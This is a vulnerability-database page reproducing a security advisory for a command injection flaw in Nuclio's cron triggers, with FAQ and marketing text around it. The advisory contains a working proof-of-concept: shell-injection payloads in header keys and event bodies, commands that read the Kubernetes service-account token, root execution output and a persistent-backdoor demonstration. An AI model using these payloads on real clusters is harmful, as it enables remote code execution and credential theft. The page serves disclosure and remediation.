How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

362,541

Total vulnerabilities in the database

CVE-2026-52831 — github.com/nuclio/nuclio

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Summary

Nuclio controller builds a curl invocation string for each cron trigger and stores it as the args of a Kubernetes CronJob container (/bin/sh, -c, <command>). Two fields in the trigger specification flow into this string without adequate sanitization:

event.headers keys — interpolated verbatim inside double-quoted --header arguments (lazy.go:2150); any key containing " breaks the quoting context.
event.body — processed with strconv.Quote, which escapes " and \ but not $(), allowing command substitution (lazy.go:2188).

Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 9.9 (Critical)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Affected versions: Nuclio <= 1.15.27 (latest, dynamically verified)

Details

Root Cause

When a NuclioFunction with a cron trigger is reconciled by the controller, it calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go:2113. This function builds a shell command string by concatenating user-supplied values and passes it directly to /bin/sh -c.

Path-A — Header key injection (lazy.go:2146-2151)

// lazy.go:2146-2151
headersAsCurlArg := &quot;&quot;
for headerKey := range attributes.Event.Headers {
    headerValue := attributes.Event.GetHeaderString(headerKey)
    headersAsCurlArg = fmt.Sprintf(&quot;%s --header \&quot;%s: %s\&quot;&quot;,
        headersAsCurlArg, headerKey, headerValue)
    //                              ↑
    //                   headerKey is user-controlled; no escaping applied
}

headerKey is taken from event.headers in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing " terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.

Attack string for headerKey:

X-Inject&quot;; ARBITRARY_COMMAND; echo &quot;

Resulting shell command fragment:

--header &quot;X-Inject&quot;; ARBITRARY_COMMAND; echo &quot;: value&quot;

Path-B — Body command substitution (lazy.go:2173-2192)

// lazy.go:2188-2192
curlCommand = fmt.Sprintf(&quot;echo %s &gt; %s &amp;&amp; %s %s&quot;,
    strconv.Quote(eventBody),   // escapes &quot; → \&quot; and \ → \\, but NOT $()
    eventBodyFilePath,
    curlCommand,
    eventBodyCurlArg)

strconv.Quote wraps the string in double quotes and escapes " and \, but does not escape $, (, or ). A body value of $(CMD) becomes the Go string "$(CMD)", which the shell expands as command substitution when executing the /bin/sh -c string.

Attack string for event.body:

$(ARBITRARY_COMMAND)

Resulting shell command:

echo &quot;$(ARBITRARY_COMMAND)&quot; &gt; /tmp/eventbody.out &amp;&amp; curl ...

Execution sink (lazy.go:2212)

// lazy.go:2212
Args: []string{&quot;/bin/sh&quot;, &quot;-c&quot;, curlCommand}

The entire concatenated string — including any injected content — is executed by the shell.

Persistence mechanism

The CronJob created by the controller carries no ownerReferences linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at lazy.go:522:

// Delete function k8s CronJobs before the Deployment so they cannot spawn new
// CronJobs are not owned by the Deployment, so cascade does not remove them.

PoC

Environment Setup

The following steps reproduce the vulnerability in an isolated local environment.

Step 1 — Install prerequisites

# kind (Kubernetes-in-Docker)
curl -Lo /usr/local/bin/kind \
    https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
chmod +x /usr/local/bin/kind

# Helm
curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash

Step 2 — Create isolated kind cluster

kind create cluster --name vul-010
kubectl cluster-info --context kind-vul-010

Expected output:

Kubernetes control plane is running at https://127.0.0.1:xxxxx

Step 3 — Deploy Nuclio (latest 1.15.27)

helm repo add nuclio https://nuclio.github.io/nuclio/charts
helm repo update

kubectl create namespace nuclio

helm install nuclio nuclio/nuclio \
    --namespace nuclio \
    --kube-context kind-vul-010 \
    --version 0.21.27 \
    --set dashboard.enabled=true \
    --set controller.enabled=true

Wait for the controller to become ready:

kubectl wait --for=condition=Available deployment/nuclio-controller \
    -n nuclio --context kind-vul-010 --timeout=120s

Step 4 — Create a NuclioProject

kubectl apply --context kind-vul-010 -f - &lt;&lt;&#039;EOF&#039;
apiVersion: nuclio.io/v1beta1
kind: NuclioProject
metadata:
  name: default
  namespace: nuclio
spec:
  description: &quot;default project&quot;
EOF

Step 5 — Prepare a placeholder image for the function deployment

The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:

# Tag alpine as the placeholder function image
docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest
kind load docker-image placeholder-function:latest --name vul-010

# Also load the CronJob runner image (appropriate/curl or any sh-capable image)
docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest
kind load docker-image appropriate/curl:latest --name vul-010

Exploitation — Path-A: Header Key Injection

Step 6 — Create a NuclioFunction with malicious header key

The injection payload in the header key is:

X-Inject&quot;; echo &quot;===RCE_CONFIRMED===&quot;; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo &quot;

kubectl apply --context kind-vul-010 -f - &lt;&lt;&#039;EOF&#039;
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-rce-visible
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: &quot;ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=&quot;
  triggers:
    cron-inject:
      kind: cron
      attributes:
        schedule: &quot;*/1 * * * *&quot;
        event:
          headers:
            X-Normal: safe-value
            &#039;X-Inject&quot;; echo &quot;===RCE_CONFIRMED===&quot;; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo &quot;&#039;: marker
  minReplicas: 1
  maxReplicas: 1
EOF

Step 7 — Trigger the controller to create the CronJob

kubectl patch nucliofunction vul010-rce-visible -n nuclio \
    --context kind-vul-010 \
    --type=merge \
    -p &#039;{&quot;status&quot;:{&quot;state&quot;:&quot;waitingForResourceConfiguration&quot;}}&#039;

Wait ~10 seconds for the controller to reconcile, then list CronJobs:

kubectl get cronjob -n nuclio --context kind-vul-010

Expected output:

NAME                                   SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE
nuclio-cron-job-d84tg6lmuaqc73arn15g   */1 * * * *   False     0        &lt;none&gt;          12s

Step 8 — Inspect the generated CronJob command (static confirmation)

CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
    -o jsonpath=&#039;{.items[0].metadata.name}&#039;)

kubectl get cronjob &quot;$CJ_NAME&quot; -n nuclio --context kind-vul-010 \
    -o jsonpath=&#039;{.spec.jobTemplate.spec.template.spec.containers[0].args}&#039; \
    | python3 -m json.tool

Actual output from verification:

[
    &quot;/bin/sh&quot;,
    &quot;-c&quot;,
    &quot;curl --silent  --header \&quot;X-Inject\&quot;; echo \&quot;===RCE_CONFIRMED===\&quot;; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \&quot;: marker\&quot; --header \&quot;X-Normal: safe-value\&quot; --header \&quot;X-Nuclio-Invoke-Trigger: cron\&quot; --header \&quot;X-Nuclio-Target: vul010-rce-visible\&quot; nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused&quot;
]

The injected commands are clearly embedded between the shell-separated statements.

Step 9 — Manually trigger a CronJob run (dynamic confirmation)

kubectl create job --from=cronjob/&quot;$CJ_NAME&quot; \
    vul010-rce-proof -n nuclio --context kind-vul-010

# Wait for the pod to complete
kubectl wait pod -n nuclio --context kind-vul-010 \
    -l job-name=vul010-rce-proof \
    --for=condition=Ready --timeout=30s 2&gt;/dev/null || true

POD=$(kubectl get pods -n nuclio --context kind-vul-010 \
    -l job-name=vul010-rce-proof -o jsonpath=&#039;{.items[0].metadata.name}&#039;)

kubectl logs &quot;$POD&quot; -n nuclio --context kind-vul-010

Actual pod log output from verification:

/bin/sh: curl: not found
===RCE_CONFIRMED===
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
eyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...

Line 1: curl exits immediately at "X-Inject" (no curl binary in alpine)
Line 2: echo "===RCE_CONFIRMED===" executes — injection confirmed
Line 3: id executes — container runs as uid=0 (root)
Line 4: cat .../token | head -c 50 exfiltrates the first 50 bytes of the K8s SA token

Exploitation — Path-B: Body Command Substitution

Step 10 — Create a NuclioFunction with malicious event body

kubectl apply --context kind-vul-010 -f - &lt;&lt;&#039;EOF&#039;
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-body-inject
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: &quot;ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=&quot;
  triggers:
    cron-body:
      kind: cron
      attributes:
        schedule: &quot;*/1 * * * *&quot;
        event:
          body: &quot;$(id 1&gt;&amp;2; echo BODY_INJECTION_PROOF)&quot;
  minReplicas: 1
  maxReplicas: 1
EOF

kubectl patch nucliofunction vul010-body-inject -n nuclio \
    --context kind-vul-010 \
    --type=merge \
    -p &#039;{&quot;status&quot;:{&quot;state&quot;:&quot;waitingForResourceConfiguration&quot;}}&#039;

Step 11 — Verify CronJob command (static)

sleep 15
CJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
    -l &quot;nuclio.io/function-name=vul010-body-inject&quot; \
    -o jsonpath=&#039;{.items[0].metadata.name}&#039;)

kubectl get cronjob &quot;$CJ_NAME_B&quot; -n nuclio --context kind-vul-010 \
    -o jsonpath=&#039;{.spec.jobTemplate.spec.template.spec.containers[0].args}&#039; \
    | python3 -m json.tool

Actual output from verification:

[
    &quot;/bin/sh&quot;,
    &quot;-c&quot;,
    &quot;echo \&quot;$(id 1&gt;&amp;2; echo BODY_INJECTION_PROOF)\&quot; &gt; /tmp/eventbody.out &amp;&amp; curl --silent  --header \&quot;X-Nuclio-Invoke-Trigger: cron\&quot; --header \&quot;X-Nuclio-Target: vul010-body-inject\&quot; nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ...&quot;
]

$() is present unescaped inside a double-quoted string passed to /bin/sh -c.

Step 12 — Dynamic execution

kubectl create job --from=cronjob/&quot;$CJ_NAME_B&quot; \
    vul010-body-proof -n nuclio --context kind-vul-010

POD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \
    -l job-name=vul010-body-proof -o jsonpath=&#039;{.items[0].metadata.name}&#039;)

kubectl logs &quot;$POD_B&quot; -n nuclio --context kind-vul-010

Actual pod log output from verification:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/bin/sh: curl: not found

id ran as root via $() expansion before curl was even attempted.

Persistence Verification

Step 13 — Confirm CronJob has no ownerReferences

kubectl get cronjob &quot;$CJ_NAME&quot; -n nuclio --context kind-vul-010 \
    -o jsonpath=&#039;{.metadata.ownerReferences}&#039;

Expected: empty (no output)

Step 14 — Simulate controller crash during function deletion

# Stop the controller
kubectl scale deployment nuclio-controller -n nuclio \
    --context kind-vul-010 --replicas=0

# Delete the function
kubectl delete nucliofunction vul010-rce-visible -n nuclio \
    --context kind-vul-010

sleep 5

# Function is gone — CronJob remains
kubectl get nucliofunction -n nuclio --context kind-vul-010
kubectl get cronjob -n nuclio --context kind-vul-010

Actual output from verification:

# NuclioFunctions:
NAME                  AGE
vul010-body-inject2   2m30s
(vul010-rce-visible deleted — not listed)

# CronJobs:
NAME                                   SCHEDULE      SUSPEND   ACTIVE
nuclio-cron-job-d84tj8lmuaqc73arn170   */1 * * * *   False     0
(CronJob belonging to the deleted function — still running)

Step 15 — Execute the persistent backdoor

kubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \
    vul010-persist-backdoor -n nuclio --context kind-vul-010

kubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010

Actual pod log output from verification:

/bin/sh: curl: not found
PERSISTENT_BACKDOOR_ACTIVE
: attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...

The injected command executes after the source function has been deleted.

Cleanup

kubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2&gt;/dev/null
kubectl delete cronjob --all -n nuclio --context kind-vul-010 2&gt;/dev/null
kind delete cluster --name vul-010

Impact

Remote Code Execution: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.

Runs as root: Every CronJob pod confirmed running as uid=0(root) during verification.

ServiceAccount token exfiltration: The pod's mounted SA token (/var/run/secrets/ kubernetes.io/serviceaccount/token) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected curl call. This token enables:

Enumeration of Kubernetes API resources in the nuclio namespace
In misconfigured clusters, cluster-wide API access

Persistent backdoor: The CronJob resource has no ownerReferences and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker's commands on the configured schedule (minimum every 1 minute) — persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.

Cloud environment lateral movement: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.

Severity

Critical — CVSS 3.1 Score: 9.9

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

| Metric | Value | Rationale | |---|---|---| | Attack Vector | Network | Dashboard is network-accessible | | Attack Complexity | Low | No preconditions; straightforward payload | | Privileges Required | None | NOP auth is the default configuration | | User Interaction | None | Fully automated via API | | Scope | Changed | Impact crosses pod boundary into cluster | | Confidentiality | High | SA token, secrets readable | | Integrity | High | Arbitrary command execution as root | | Availability | High | Persistent CronJob can exhaust cluster resources |

Affected Versions

All Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.

Confirmed affected: 1.15.27 (latest as of 2026-05-17, dynamically verified)
Earliest affected: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.4

Workarounds

Network-level restriction: Place the Nuclio Dashboard behind an authenticated reverse proxy or restrict port 8070 to trusted networks only. This limits who can submit function specifications.
Disable cron triggers: If cron trigger functionality is not required, avoid creating functions with kind: cron triggers.
RBAC restriction: Remove the batch API group permission from the Nuclio controller ServiceAccount to prevent CronJob creation. Note: this disables cron trigger functionality entirely.

None of the above eliminate the root cause; they only reduce exposure.

Resources

Vulnerable file: pkg/platform/kube/functionres/lazy.go
- Path-A: line 2150 — header key interpolation
- Path-B: lines 2188-2189 — body interpolation with strconv.Quote
- Execution sink: line 2212 — Args: []string{"/bin/sh", "-c", curlCommand}
Go strconv.Quote documentation: does not escape $, (, ), or backticks
CWE-78: Improper Neutralization of Special Elements used in an OS Command
CVSS 3.1 Calculator: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Remediation

P0 — Eliminate the shell layer (preferred fix)

Replace the /bin/sh -c <string> invocation with an exec-format argument list. This removes shell interpretation entirely:

// Current (vulnerable): lazy.go:2212
Args: []string{&quot;/bin/sh&quot;, &quot;-c&quot;, curlCommand}

// Fixed: build curl args as a []string slice
func buildCurlArgs(headers map[string]string, body, address string) []string {
    args := []string{&quot;curl&quot;, &quot;--silent&quot;}
    for k, v := range headers {
        args = append(args, &quot;--header&quot;, k+&quot;: &quot;+v)
    }
    if body != &quot;&quot; {
        args = append(args, &quot;--data&quot;, body)
    }
    args = append(args, &quot;--retry&quot;, &quot;10&quot;, &quot;--retry-delay&quot;, &quot;1&quot;,
        &quot;--retry-max-time&quot;, &quot;10&quot;, &quot;--retry-connrefused&quot;, address)
    return args
}

// Container spec:
Container{
    Command: nil,
    Args:    buildCurlArgs(headersMap, eventBody, functionAddress),
}

With exec format, each argument is passed directly to the process without shell interpretation. No quoting or escaping is needed.

P1 — Shell-safe quoting (fallback if shell is required)

If the shell invocation must be retained, apply proper POSIX shell quoting to all user-supplied values before interpolation. The equivalent of Python's shlex.quote must be implemented in Go:

func shellQuote(s string) string {
    return &quot;&#039;&quot; + strings.ReplaceAll(s, &quot;&#039;&quot;, &quot;&#039;\\&#039;&#039;&quot;) + &quot;&#039;&quot;
}

Apply to both headerKey, headerValue, and eventBody before inserting into the command string.

Published: Jul 8, 2026
Updated: Jul 9, 2026
CVE: CVE-2026-52831
GHSA: GHSA-v5px-423j-pf7p
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Critical
Score: 10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWEs:

CWE-78

OWASP TOP 10:

A1 - Injection

Affected Software
References

Software	From	Fixed in
github.com/nuclio/nuclio	-	0.0.0-20260601075854-3356b86a8bfa

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.